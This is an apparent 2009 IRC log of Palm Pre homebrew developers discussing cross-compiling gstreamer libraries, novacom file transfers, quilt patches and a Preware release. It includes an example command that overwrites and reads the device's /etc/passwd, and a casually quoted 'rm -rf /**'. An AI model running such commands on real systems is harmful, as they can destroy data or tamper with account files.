22:42:21 ok Sep 01 22:42:21 can't run on your machine Sep 01 22:42:30 then on pre, mount -t nfs server:/chroot_loc Sep 01 22:42:33 you could install the code sourcery toolchain, couldn't you ? (if you wanted the easy way) ? Sep 01 22:42:36 then on pre, mount -t nfs server:/chroot_loc /some_mnt_point Sep 01 22:42:47 then chroot /some_mnt_point on your pre Sep 01 22:42:58 now running in your externally managed to pre fs Sep 01 22:43:05 but on pre, so native arm stuff will run Sep 01 22:43:14 and no real space limitations Sep 01 22:43:22 albiet probably slow as hell compile times Sep 01 22:43:26 bpadalino, problem is the libs, not the tools Sep 01 22:43:27 and i'd keep it plugged in :) Sep 01 22:43:32 poo, sprint didnt feel like replacing my pre, guess ill have to wait till it oreos completely or pay deductable. i think its good enough for now, i just dont want my screen to split in half... Sep 01 22:43:36 zsoc, why can't you just copy the libs over ? Sep 01 22:43:44 and link against them ? Sep 01 22:43:50 zsoc, did you understand what I wrote? Sep 01 22:43:52 bpadalino, er... hm. you have a compelling argument. Sep 01 22:44:03 spotter, I get the general idea.. i *think*. Sep 01 22:44:28 it took me a week or so to get it working right last time I tried years ago (2001!) Sep 01 22:44:30 spotter, where would the 'server' be located tho? depends on nfs config? Sep 01 22:44:39 zsoc, your laptop? Sep 01 22:44:41 compiling on the pre is silly and will take forever - kind of a waste Sep 01 22:44:41 just make an nfs share Sep 01 22:44:53 or whatever you have linux on where yu were trying to make a cross compile environment Sep 01 22:45:06 bpadalino, except not everything is easily cross compilable Sep 01 22:45:11 spotter, right, i see. Sep 01 22:45:18 reason I did it years ago was because I wanted perl Sep 01 22:45:24 and perl back then couldn't be cross compiled Sep 01 22:45:28 dont know if its changed since then Sep 01 22:45:41 it insisted on running some locally created binaries to determine some sorts of sizing Sep 01 22:45:53 This is going to sound like a ridiculous question.. what's the best way to move files around from *nix box to pre? Right now i'm sftping in and i only have access to specific folders Sep 01 22:46:06 zsoc, novacom put Sep 01 22:46:10 works pretty well Sep 01 22:46:13 anyways Sep 01 22:46:14 works both ways? Sep 01 22:46:17 novacom get Sep 01 22:46:19 back to studying up for interview Sep 01 22:46:23 spotter, thank you for your information :) it helps Sep 01 22:46:27 np Sep 01 22:46:28 bpadalino, and that's just like cp? Sep 01 22:46:37 file:// Sep 01 22:46:45 and then redirection < file Sep 01 22:46:47 or > file Sep 01 22:46:47 I'm new to the pre, but old to linux Sep 01 22:47:00 spotter, i can tell :> Sep 01 22:47:01 hard to imagine that I've been using linux for about half of my life Sep 01 22:47:01 play around with novacom - it's neat .. ther eis even a help menu Sep 01 22:47:05 bpadalino, hm.. could you give me example syntax? Sep 01 22:47:19 spotter, heck, how could you not? it's amazing ;) Sep 01 22:47:22 novacom put file:///etc/passwd < /my/path/to/replacement Sep 01 22:47:31 novacom get file:///etc/passwd > /my/local/copy Sep 01 22:47:45 bpadalino, genius :P although the put < and get > seem kinda redundant. Sep 01 22:47:48 there is a novacom run i think as well ... for executing commands ? Sep 01 22:47:58 hey all... Sep 01 22:48:06 zsoc, the redirection is for your local file information .. Sep 01 22:48:14 the location you give is always the remote one Sep 01 22:48:14 bpadalino, right, of course. I got it now Sep 01 22:48:17 ok Sep 01 22:48:20 time for me to go home, bbl Sep 01 22:48:25 where can I find info on what files are touched/replaced when a patch is applied? Sep 01 22:49:22 I'm using quilt and I have a patch that I removed but it still seems to be operating Sep 01 22:49:44 db__: Did you run quilt -f? Sep 01 22:49:46 I'd like to replace the system fils that were touched from the web Dr tar Sep 01 22:49:51 zsoc, if you get an environment where you can build gst stuff, make it a tarball for others to use Sep 01 22:49:56 what does quilt -f do? Sep 01 22:49:59 probably opens up a world of things we can add to media support Sep 01 22:50:10 spotter, i think i'm pretty close actually Sep 01 22:50:11 db__: Forces the patch to remove, restoring the original files Sep 01 22:50:21 where can I find more info on quilt other than the patch page at qwbos internals Sep 01 22:50:51 do I specify the patch name...I'll try quilt and see what commands are available Sep 01 22:50:57 thanks will try that Sep 01 22:51:00 off I go Sep 01 22:51:06 db__: The only other place i picked stuff up was through a few different posts on Precentral Sep 01 22:51:32 db__: Yes, you still need the patch name, let me see if i have anything saved Sep 01 22:53:59 db__: instead of deleting all your patches, just run quilt series (hopefully the patch you want removed will be last) & then quilt pop -f will remove that last patch Sep 01 22:54:18 alkos333: the point is that a corporation like Palm is only going to support one Linux distribution (so they can get the "Linux tick" on their marketing slides) and will not expend support resources supporting source code that they don't think releasing will benefit their bottom line. Sep 01 22:54:18 first I used pop, but I don't think I used the -f switch Sep 01 22:54:36 db__: i think you can specify the patch name if it's not the last in the series. Sorry, it's been a little while since i used quilt Sep 01 22:54:43 zsoc: you could use the Optware cross-compilation system Sep 01 22:54:45 np Sep 01 22:55:11 I will play around with the -f switch Sep 01 22:55:15 rwhitby, does that contain or allow me to obtain arm versions of glib and gstreamer libs? Sep 01 22:55:33 zsoc: if it doesn't it's easily added Sep 01 22:55:45 db__: I would think reapplying, then checking with quilt series, & finally quilt pop -f should be the way to completely restore the files Sep 01 22:55:54 is there a way to position yourself at a certain patch in the series list, I wonder Sep 01 22:56:18 'k Sep 01 22:56:21 rwhitby, is that something I need to do on my pre? or is the optware cross-compilation system something i build locally? Sep 01 22:56:25 db__: Not sure personally, hopefully someone else will know Sep 01 22:56:52 it's the host-based build environment that builds optware for about 20 different embedded devices. so it sort of support cross-compilation ;-) Sep 01 22:57:05 will try that later...got a new battery today and I ran it all the way down, and now need to recharge - supposedly lenghthens overall battery life Sep 01 22:57:16 db__, pretty much a lie ;) Sep 01 22:57:57 I've heard that for large format camera batteries too Sep 01 22:58:09 db__, it's more accurate in that case. Sep 01 22:58:30 but did think that was from the old batteries subject to 'memory' Sep 01 22:59:31 rwhitby: Of course it'll benefit their bottom line - more developers.. Sep 01 22:59:49 rwhitby, er.. so.. and again sorry for bugging you.. i build an optware environment... locally.. to build optware for arm, locally.. and use optware to download the needed libs for what arc i'm working with? Sep 01 23:00:11 alkos333: the number of developers who worry about source code access for gstreamer does not figure in Palm's developer relations planning I expect Sep 01 23:01:00 alkos333: nocacomd works on all kinds of linux distros Sep 01 23:01:03 zsoc: optware cross compiles the libs, stages them locally, and then uses them in the cross-compilation of the apps (or packages them as shared libraries for installation on the device) Sep 01 23:01:13 Sure they do, at one point or another they might want to submit an awesome app to the store. Sep 01 23:01:46 rwhitby, so i can use the current toolchain I have now, in the same way, and just point the libs towards the ones that optware compiled.. correct? Sep 01 23:02:36 alkos333: Palm had 2 guys on developer relations that I've seen. Do you really think they can support all their commercial developers, and the app catalog, and developer.palm.com, and then on top of all that put out and support source code? It's simply a matter of priorities for limited resources. Return On Investment. Sep 01 23:03:05 zsoc: look at the cross compilation with optware page on the wiki Sep 01 23:03:25 rwhitby, gotcha :) that was my next question is where and how lol. thank you again mate. Sep 01 23:03:50 * rwhitby bl Sep 01 23:03:54 bbl even Sep 01 23:06:13 rwhitby: The source code is already there.. Sep 01 23:18:19 trying to reapply the patch so I can remove it using the quilt pop -f switch Sep 01 23:18:29 I get this when I try to apply it Sep 01 23:18:31 -sh: /opt/src/modifications/frameworks/add-onscreen-keyboard.patch: Permission denied Sep 01 23:20:23 sudo make me a sandwich? Sep 01 23:21:21 destinal: you around? Sep 01 23:22:01 jettero: semi Sep 01 23:22:27 dealing with work stuff so limited, but around Sep 01 23:23:09 k. hunting around for info on my quest for a nagger that doesn't cause a database rebuild of the pre Sep 01 23:23:15 whenever you have time Sep 01 23:23:23 zsoc, I was sudo Sep 01 23:23:56 if you were talking to me Sep 01 23:24:18 (got my pre all put back together btw... next reboot it went bck into first-use luna, but I was in a sprint coverage area so it worked and everything was back to normal) Sep 01 23:24:56 db what does your prompt say? Sep 01 23:26:01 jettero: well, the simplest short term hack which might work, just have the script cp the database to /tmp and sqlite3 it's from there Sep 01 23:26:09 I don't think cp will cause locking issues Sep 01 23:26:20 rsync would be about 99.999% more efficient Sep 01 23:26:28 that's a good idea for a right-now solution... Sep 01 23:27:11 zsoc, root@castle:/# Sep 01 23:27:12 heh, I agree about the virtues of rsync Sep 01 23:27:26 but the point is we'll want to stay away from a shell totally for the real fix Sep 01 23:27:36 oh, definitely Sep 01 23:27:39 just thinking, you're on call, let's try to save you from explosions Sep 01 23:27:46 righto Sep 01 23:28:02 I'm not actually using the shellscript though, I made a daemon in an arm crosscompiler Sep 01 23:28:09 it's pretty hot, but since it erases my phone it sucks Sep 01 23:28:10 From what I gather, the patch won't apply if the files aren't original, but for the life of me I cannot find what files have been modified Sep 01 23:28:11 db__, no idea. you check the wiki for syntax on patching? Sep 01 23:28:42 I read all i could on the virtual -keyboard wiki, and replaced every file mentoined there from the web Dr tar Sep 01 23:28:49 " it's pretty hot, but since it erases my phone it sucks" <-- should really go in the title Sep 01 23:28:58 :) Sep 01 23:28:59 zsoc, thanks for thinking on it Sep 01 23:29:17 db__, well that seems more like a permission issue than an original file issue Sep 01 23:29:29 alkos333: the source code for webOS is not open Sep 01 23:29:37 interesting..... Sep 01 23:29:43 jettero: well, even more than that, I think integrating into palm's architecture is a good long-term move Sep 01 23:29:50 when in rome Sep 01 23:29:52 oh, totally Sep 01 23:30:03 would check the permissions if I new what files to check ;-) Sep 01 23:30:08 I have no idea how to approach the java service though Sep 01 23:30:19 the last java I wrote was 1997 Sep 01 23:30:22 jettero: well, we're fairly close to getting C/C++ services Sep 01 23:30:34 presumably you can just do it through dbus... Sep 01 23:30:43 I bet you could even do that now if you did it by hand Sep 01 23:30:55 the lunaservice interface proper is more than just dbus Sep 01 23:31:12 yeah, I get that... but I though it was mostly just helpers for dbus... Sep 01 23:31:28 db__: in /var/usr/palm/applications/org.webos-internals.virtual-keyboard/ you will find an md5sums file - that needs to match before the patch will be applied. Sep 01 23:31:37 * oil_work waits patiently for c/c++ service awesomeness Sep 01 23:31:58 and if it doesn't ...I don't know which files to repull Sep 01 23:32:18 db__: did you look in the md5sums file before replying? Sep 01 23:32:21 I wouldn't say I'm waiting patiently. Sep 01 23:32:33 I'm waiting impatiently. I'm dangerously close to trying to learn java (ucky) Sep 01 23:32:38 haha Sep 01 23:32:50 I have an irrational dislike of that language Sep 01 23:32:52 rwhitby, again, very sorry, just need a nudge. i have the whole optware environment / tool chain setup / re-set up here. I'm just still slightly misput as to how to utilize it to get the libraries i need. I read that page, and it seems to be refering to packaging sources into .ipk for installation on the embedded device. Sep 01 23:32:53 before replying to you? Sep 01 23:33:14 jettero: before I did the final parts of ipkgservice (after PuffTheMagic did all the heavy lifting), I hadn't written a line of Java ... Sep 01 23:33:15 I checked the post.install file and saw that there was a comparison going on Sep 01 23:33:31 I'll fiddle some more Sep 01 23:33:39 rwhitby: that's open isn't it? Sep 01 23:33:41 db__: the files are listed in the md5sums file Sep 01 23:33:45 people trash java all the time Sep 01 23:33:47 Yea it seems like we are all learning ohter languages to do this stuff... hehe. Sep 01 23:33:51 I could use that as a starting point for the nagger sms-check service... Sep 01 23:33:51 jettero: how do you feel about javascript? Sep 01 23:33:51 its so damn easy to write with Sep 01 23:33:55 and its not that bad Sep 01 23:33:55 jettero: what service are you going to write? Sep 01 23:33:57 jettero: all webos-internals.org stuff is open source Sep 01 23:34:02 rwhitby, thanks will look closer Sep 01 23:34:03 I love javascript (it's not in any way related to java) Sep 01 23:34:19 jettero, except the name ;) Sep 01 23:34:28 the name is an unfortunate coincidence Sep 01 23:34:41 which causes a LOT of confusion for people who dont really know Sep 01 23:34:59 oil_work: well, destinal and I need a nagger service in order to use the pre for work (on call sms needs to wake you up). Sep 01 23:35:11 we were using a shell script (mine slightly fancier) and that can cause your phone to erase Sep 01 23:35:19 jettero: right. the name is dumb. but anyway, I'd probably start by seeing if patching the messaging app solves the problem Sep 01 23:35:29 so we need a system service that can check the messages tables without causing a system crash and restore Sep 01 23:35:34 java and javascript are pretty damn close in terms of the verbs you use Sep 01 23:35:37 and structure Sep 01 23:35:38 and syntax Sep 01 23:35:48 I don't really want to patch the messaging app... I'd rather build something that's almost entirely mojo Sep 01 23:35:53 jettero, destinal: you should definately call it "a service that annoys you..." Sep 01 23:36:13 jettero: you mean you'd rather build something from scratch to avoid managing patches? Sep 01 23:36:38 PuffTheMagic: all of the C-likes have that syntax, but that doesn't really make them related. Perl, C, javascript, blah blah blah, but java has some unique features that are fun to hate Sep 01 23:36:40 messaging app is mojo Sep 01 23:37:02 but annoyer app could be simpler Sep 01 23:37:09 right, but I'd really rather not mess with the messaging app Sep 01 23:37:10 jettero: they are close enough that if you can program in 1 you can program in the other very easily Sep 01 23:37:21 the whole patching thing is a turnoff for me. Sep 01 23:37:30 jettero: I strongly agree Sep 01 23:37:33 I'd rather do it as an app that you can install without needing all that patching Sep 01 23:37:39 if possible Sep 01 23:37:42 jettero:+1 Sep 01 23:38:00 PuffTheMagic: I call bullshit on that Sep 01 23:38:11 PuffTheMagic: they're not any closer than perl and C Sep 01 23:38:12 well then you have issues if you find the transition hard Sep 01 23:38:28 PuffTheMagic: I didn't say I couldn't read them both, I said they're not related Sep 01 23:38:41 jettero: so the only issue is, how do we get called on wakeup? we could schedule a wakeup but that's wasteful Sep 01 23:38:42 im not saying they are forks of each other Sep 01 23:38:45 i know there are differences Sep 01 23:38:50 but nothing anyone should get hung up on Sep 01 23:38:50 well not the only issue Sep 01 23:38:53 they definitely both have the same syntax roots... Sep 01 23:38:56 but the first one I think of Sep 01 23:39:42 you know mojo seems to be able to wake up an app that's closed... Sep 01 23:39:47 if I read that right Sep 01 23:40:13 if you can get to the palm messaging data from mojo I don't know that you'd need a service at all Sep 01 23:40:24 but I've written about 1 line of mojo so far Sep 01 23:40:38 what was it? Sep 01 23:41:01 the hello world app ... I edited it Sep 01 23:41:10 lol Sep 01 23:41:13 :) Sep 01 23:41:20 an errorDialog was going to be my guess :) Sep 01 23:42:35 * oil_work leaves work where he isn't really working Sep 01 23:44:11 destinal: oh, also mojo timers apparenly work two ways: go off when the phone wakes up (which it seems to do every 500 seconds or so anyway) or wake up the phone and go of... if I read that right Sep 01 23:44:18 so I think you still don't need a special service... Sep 01 23:45:33 hi rick_work u still here? Sep 01 23:46:38 jettero: ok so the only issue may be whether we can subscribe to alerts on incoming SMS messages like messenger does Sep 01 23:46:47 probably we can Sep 01 23:46:53 probably Sep 01 23:47:19 we may need to be in the com.palm.* namespace to talk on private bus to do it but again, no big deal Sep 01 23:47:29 Rick_work: Can I use Another kb_config.json for each language? let say spanish and english use another theme of keyboard. is it possible? Sep 01 23:47:42 destinal: I don't know for sure what that means... I wish I had real time to work on this... Sep 01 23:48:05 jettero: it means if it doesn't work due to permission errors, name your app com.palm.app Sep 01 23:48:09 jettero: two buses, public and private. which one your messages are sent on as a mojo app depends on your namespace Sep 01 23:48:11 instead of com.jettero.app Sep 01 23:48:31 oic Sep 01 23:48:34 some services only listen on private bus, so only mojo apps that can talk to them are named com.palm.something Sep 01 23:48:46 that makes sense Sep 01 23:48:46 Rick_work? Sep 01 23:52:38 Rick_work? Sep 01 23:53:03 nothing? Sep 01 23:55:52 Anyone familiar with optware who i wouldn't feel bad about bothering? Sep 02 00:13:04 Not to ding your screen rod, so i hope that doesn't trigger it, i'm a bit farther than i was, and i get the general principles. it seems glib is available, and i just made it. gstreamer libs however seem not to be in the makefile, so i'm going to try to follow the instructions on how to make my own packages. Sep 02 00:17:26 DdAaDd, what is your questio Sep 02 00:19:21 zsoc: awesome Sep 02 00:20:09 please tell me that's a "glad you figured out how to not be an idiot" awesome, and not a "holy crap nothing you just said made any sense" awesome. Sep 02 00:20:29 DdAaDd, you can't dynamically change between the themes (yet) but you can definitely replace the kb_config.json at any time to change themes Sep 02 00:21:16 I am in the middle of restructuring the layout of the keyboard and themes to support more advanced theme design as well as language support Sep 02 00:22:28 zsoc: it's a "excellent, you're now fishing rather than buying fish" awesome Sep 02 00:23:37 :) Sep 02 00:25:02 zsoc: check out the *-stage targets for building and staging libraries that are then used by other apps Sep 02 00:25:11 ooh, a choice of wifi and or evdo, nice Sep 02 00:29:13 i just installed preware via webos quick install. but when running it, says org.webosinternals.ipkgservice is not running. what do i do now? Sep 02 00:29:35 yknow, i bet if i really understood how this worked it would take me 3 minutes to set up the way i needed. Sep 02 00:29:52 gkatsev, you uninstall preware, install the package service, reinstall preware? Sep 02 00:30:34 gkatsev: you go back and re-read the installation instructions Sep 02 00:30:46 doh Sep 02 00:30:58 i missed the package service in wqi... Sep 02 00:31:13 works now Sep 02 00:31:24 And it's oh-so-pretty. Sep 02 00:31:59 BTW, I just tested a new open source stand-alone installer from greg_roll, and it will once and for all fix the "I forgot to install the service too" issue, since Jason hasn't added dependency support yet. Sep 02 00:32:10 (and WebOS Quick Install is closed source ...) Sep 02 00:32:42 eww Sep 02 00:33:33 -stage'ing is fun. or atleast outputs fun things Sep 02 00:33:51 i get the feeling i'm using this chain not for it's original intention. Sep 02 00:37:23 gkatsev: reboot the phone Sep 02 00:37:33 even though i install the service i get that error until i reboot Sep 02 00:38:12 PreGame: yeah, the reason was i had not installed the service. i went lookibngfor it on wqi but i totally missed it the first two times Sep 02 00:38:37 now im having troble installing the virtual keyboard, but i think i got it Sep 02 00:39:57 rwhitby, without being able to understand this code too much.. should i assume this -stage'ing switch should be able to be added to any valid makefile? even the one i make? i did a test with glib (yeah i know, a little large to test with) and it seems make builds it, while make glib-stage gives me the includes i need in /staging/opt/include/ Sep 02 00:40:51 zsoc: the call to the foo-stage target is done in the build step of the apps which require those libraries to be staged Sep 02 00:41:27 I see. So the staging would normally get done anyway.. but instead of building, I just tell it to only do the staging part. Sep 02 00:41:38 which i think for my purposes is ok Sep 02 00:44:05 rwhitby, this should be obvious.. but what's the difference between the files in /make and the files in /cs08q1armel/make ? Sep 02 00:44:17 zsoc: nothing - notice the symlink Sep 02 00:44:34 no, actually, tell a nob how to notice a symlink :) Sep 02 00:44:45 nevermind, i get the concept, i'll look it up :P Sep 02 00:45:34 oh, and even a different colour in ls , heh Sep 02 00:50:34 So, what's the community's opinion on whether Preware 0.7.8 is ready for public release as Preware 0.8.0 ? Sep 02 00:53:27 I've been on a mad-crazy homebrew downloading spree via the emulator. Sep 02 00:53:31 No crashes, no bugs to report. Sep 02 00:53:58 Have we gone forwards or backwards on the installation front? Sep 02 00:55:12 How so? Sep 02 00:56:40 Does the installation process produce more or less problems, and is the debugging of any problems any easier in 0.7.8 from a user point of view? Sep 02 00:58:06 Bearing in mind that I only had a brief affair with 0.7.7 before making the jump Sep 02 00:58:30 Less problems, simply 'cause it has not given me even an inch of trouble. Sep 02 00:58:56 Seriously. I have no complaints. None. It'd be nice if it loaded a bit quicker, but I imagine that's more a symptom of all the feeds it tracks. (right?) Sep 02 00:59:59 rwhitby, 0.7.8 seems very similar to me in those ways. also, i'm failing to understand the significance of the 'bar' and 'baz' placeholders. Sep 02 01:00:28 zsoc: 'foo' 'bar' 'baz' are examples. Sep 02 01:00:50 I understand they are placeholders.. i'm just not sure what for in the case of where bar and baz are located in the template Sep 02 01:01:18 they are not. if a package needs libraries to be staged so it can build, you put the names of the libraries there. Sep 02 01:01:22 and as far as the user goes, the multi-image / description update is a big deal :) Sep 02 01:01:42 Oh, and if it doesn't need libraries? Sep 02 01:01:51 then you don't need that line Sep 02 01:02:52 oh. Sep 02 01:04:50 so it turns out i need libxml2, heh. learning is fun Sep 02 01:05:18 so if i run into needed a library that isn't already supported by optware.. i'm going to have to build a .mk file for that library first i suppose? Sep 02 01:05:46 yep Sep 02 01:07:05 Although very small, there is a chance this is working. Sep 02 01:10:23 Wow, that's a lot of "unsafe for cross compilation" warnings. Sep 02 01:10:48 Actually, 1 for every file in the whole gstreamer lib. maybe it's just crappy at checking that. Sep 02 01:11:33 oh wait, it's looking at /usr/include instead of the locations in my cc environment... why in the world would it do that? Sep 02 01:20:43 some apps aren't smart about cross-compilation. you might want to look at the OpenEmbedded recipe for gstreamer to see what patches they do. Sep 02 01:21:11 Alternatively, perhaps OpenEmbedded itself might be the best way to do this, but it's a whole new level of learning curve to get over ... Sep 02 01:22:15 Like I said, this was indeed fun, but now I believe I have a slightly different issue. However, I'm impressed that all of the library depencies were solved by this process :) Now the errors i'm getting are less than 30 lines, and they seem to be syntax based Sep 02 01:23:13 it's almost like maybe gstreamer wasn't staged properly, so the includes are there but maybe not cc friendly. Although, honestly, they are there, and the CC didn't complain about them not be cc compatible trying to build camsrc this time Sep 02 01:23:27 * zsoc is slightly befuddled Sep 02 01:23:42 * freakout welcomes zsoc to his world Sep 02 01:24:26 heh. Sep 02 01:25:09 Serious. I wasn't really expecting this to work, I'm more frustrated that it HAS worked. Just some syntax errors.. which could be because palm's code is crap. Or the libs aren't friendly with the compiler even tho it passes all the tests Sep 02 01:25:29 I mean, there's nothing proving to me palm's code would even work in the first place. Sep 02 01:25:57 * zsoc should try to build other useful gstreamer plugins Sep 02 01:26:07 specifically ones i didn't patch myself, heh Sep 02 01:31:02 destinal: I'm not totally sure it was my nagger that did the crash... it seems like it recovered from that error. what corrupted the database (which triggered the emergency) was rebooting while the calendar app was removing my HUGE ACCOUNT added by mistake Sep 02 01:32:16 Has anyone noticed their Pre's clock running fast? Mine gains about a minute or two every hour. Sep 02 01:43:36 zsoc: I haven't been paying attention properly Sep 02 01:43:53 Are you trying to add new codecs to the webOS gstreamer? Sep 02 01:44:54 rwhitby, thanks for your suggestions, all is well with the world now Sep 02 01:51:48 Who's ready to do a final test on the Preware 0.8.0 release ipkgs? Sep 02 01:53:07 rwhitby, why the heck not Sep 02 01:53:29 zsoc: see /msg Sep 02 01:54:00 freakout, er... well i'm trying to create an environment that would allow me to create plugins for gstreamer. codecs being one type of gstreamer plugin, but i was actually trying to recompile palm's bogus 'camsrc' code with out their capabilities template that caps the video at 480x320 for no seeable reason Sep 02 01:54:02 hi Sep 02 01:54:22 morning tharris- Sep 02 01:54:58 evening Sep 02 01:55:12 zsoc: so would that be the first binary patch to webOS ? Sep 02 01:55:15 waiting on our patch, seems 4th is looking better Sep 02 01:55:29 zsoc: Ha. If you got proper VGA going, wouldn't *that* just enrage the iPhone cultists Sep 02 01:55:53 rwhitby, er, i suppose it would, but only out of neccesity. i mean others are much more intelligent about these things. i'm just trying to fix this tiny thing :P Sep 02 01:56:45 besides, the reason no one has patched any of palm's binaries.. is i'm pretty sure none of them work :P Sep 02 01:57:17 * freakout has nothing against iPhone users in general, but a big beef with the Internet's collective hypnosis regarding it. And now he'll stop being OT Sep 02 01:57:37 freakout, there should be nothing to it really. the support for the encoder is there, just have to compile an h264 encoder that supports 720x480. it's really the camera/camcorder plugin that's going to be tricky Sep 02 02:00:53 freakout, and that really shouldn't be tricky either. the v4l2 drivers are old, but they should support it once the cap is off. Sep 02 02:00:57 the whole thing is silly, really. Sep 02 02:01:34 As in, why would they deliberately limit it? Sep 02 02:02:33 * freakout wants to smash the Windows SDK. FATAL: No bootable medium found, my eye Sep 02 02:04:39 Preware 0.8.0 is released. Sep 02 02:04:59 hey now, i was busy testing it being broken ;) Sep 02 02:05:03 so if anyone asks about the forever spinning update/loading Sep 02 02:05:14 freakout, why again are you using windows anything? :P Sep 02 02:05:19 ask them if their screen turned off while it was starting Sep 02 02:05:31 and ask them to try it with tapping hte screen every so often to keep it awake fixes it Sep 02 02:05:31 oil, i noticed that, you need to keep it awake Sep 02 02:05:40 oil, exactly what i had to do the first time lol Sep 02 02:05:43 rwhitby, oil: (applause) Sep 02 02:05:57 yeah Sep 02 02:06:03 i just added the stay awake stuff Sep 02 02:06:08 i just want to make sure that fixes it for everyone Sep 02 02:06:13 before 0.8.1 Sep 02 02:06:23 zsoc: 'cause Ubuntu makes me sad in different ways. it is soooooooooo close to being a total replacement, but there are just a few apps in Windows I need to use every now and then. Sep 02 02:06:32 (and didn't I say I'd stop being OT?) Sep 02 02:06:39 freakout, wine, virtualbox? Sep 02 02:06:56 Wine is my next step today. If you'll excuse me, I'm rebooting now Sep 02 02:07:00 Hm... preware shows i have the new pkg mgr and preware installed, but still shows 0.7.8 in the main screen Sep 02 02:08:04 huh Sep 02 02:08:14 someone forget to change a version number? heh Sep 02 02:08:19 I have 0.8.0 Sep 02 02:08:36 0.8.0 here Sep 02 02:08:45 just me then :/ restarting Sep 02 02:09:05 * rwhitby goes to lunch Sep 02 02:09:21 lulz Sep 02 02:09:24 it's not that bad :P Sep 02 02:10:56 if only these stupid palm devs would just come in here and give us all the answers. i mean, seriously, what do they think they are doing anyway. off doing their job or whatever Sep 02 02:12:32 jettero: how did you reboot? Sep 02 02:13:10 Anyone know how to copy a folder from my windows machine onto my palm pre through novacom? Sep 02 02:13:14 Hm. says v0.7.8, shows that 8.0 and the new package manager is already installed. Sep 02 02:13:17 rwhitby: i am here to report a successful upgrade of preware from 0.7.7 to 0.8.0 via preware Sep 02 02:13:32 Insanefury, apparently something like novacom put Sep 02 02:13:43 thx Sep 02 02:13:45 jettero: at any rate I guess I should try reproducing the failure Sep 02 02:14:16 just so I can speak to it accurately. sqlite3 on open db's still = bad Sep 02 02:14:29 shouldnt twee show up in the precentral ipkg feed? im not seeing it on preware or webos quick install' Sep 02 02:15:52 exactly why/how does preware let you _remove_ preware, and then not crash? Sep 02 02:16:08 zsoc: its loaded into memory? Sep 02 02:16:19 hm Sep 02 02:16:23 so, untill it needs to read itself from disk itll be fine? Sep 02 02:17:25 i mean, in linux, if you do "rm -rf /**" you will not die instantly. you will be fine untill you try to read from disk, so, you could theoretically, recreate you're whole kernel and OS using echo and stuff. Sep 02 02:17:51 thats weird, why is twee only showing up on filecoaster? Sep 02 02:22:33 anyway also seeing that? Sep 02 02:22:40 instantcrickets.com Sep 02 02:31:10 zsoc, you here? Sep 02 02:32:51 spotter, unfortunately Sep 02 02:33:08 I'm wondering if the pre is abi compatible w/ one of the 2 debian arm distributions Sep 02 02:33:17 I think I created a good environment for a build. just need source of something to test it with Sep 02 02:33:19 i.e. what happens if I copy it's gst libs directly to the pre Sep 02 02:33:31 spotter, honestly i'm not sure, i really don't know much about.. er.. much Sep 02 02:33:38 I'm trying now Sep 02 02:33:40 dont have high hopes Sep 02 02:33:42 but who knows Sep 02 02:34:20 Anyone know how to copy a folder from my windows machine onto my palm pre through novacom? Sep 02 02:34:26 novacom put seems for linux to linux Sep 02 02:35:03 Insanefury, I feared that. What are you trying to copy and where? Sep 02 02:35:44 an app i made on my emulator into the usr/palm/applications folder on my pre Sep 02 02:36:38 er.. this is probably a bad answer. but you could install the terminal app using preware. move the folder into your 'home' folder using sftp. and cp/mv it from there to /usr/palm/applications Sep 02 02:37:43 well if i was gona move it onto the pre on another folder and then move it again Sep 02 02:37:48 can';t i jsut turn it to usb mode Sep 02 02:37:53 copy it on pre and move it lol Sep 02 02:38:00 from the usb folder Sep 02 02:38:18 er, yes Sep 02 02:38:27 i'm lazy, and can't be bothered to get a cable from more than 3 feet away Sep 02 02:38:32 rofl Sep 02 02:39:40 now the question is Wheres the downloads folder on the pre.... Sep 02 02:40:01 spotter: pre is abi compatible with debian etch armel Sep 02 02:40:38 gkatsev: thanks for the success report. Sep 02 02:41:06 Insanefury, er... /media... something Sep 02 02:41:10 rwhitby: np, any idead about twee? Sep 02 02:41:20 s/idead/ideas Sep 02 02:42:35 Twee is the bomb Sep 02 02:42:52 zsoc /media/internal Sep 02 02:42:55 thanks for the hint Sep 02 02:43:00 ;) Sep 02 02:43:02 i know, but for some reason it isnt showing up in preware or WQI for some reason Sep 02 02:43:20 and filecoaster isnt installing it, atm... let me restart Sep 02 02:47:53 :'( Sep 02 02:48:08 twee wont install via filecoaster and i dont see it in preware or WQI Sep 02 02:48:36 i guess i could just dl the ipkg and install manually, but still... Sep 02 02:49:31 gkatsev: what feed is it on? Sep 02 02:49:41 should be on precentral one Sep 02 02:50:11 Is it in the quick install? Sep 02 02:50:25 i dont see it there via the feed, no Sep 02 02:51:19 gkatsev: is it in http://www.precentral.net/precentral-ipkg-feed.xml ? Sep 02 02:52:05 Dieter is doing work on the feed at the moment so he may have updating turned off or something. Sep 02 02:52:22 rwhitby: yes, twee is there Sep 02 02:53:04 what's it's full appId ? Sep 02 02:53:38 lastupdate tag? Sep 02 02:55:42 gkatsev: investigating ... Sep 02 02:56:16 the lastupdate tag says 1250518143, not sure what else would qualify as an appID **** ENDING LOGGING AT Wed Sep 02 02:59:58 2009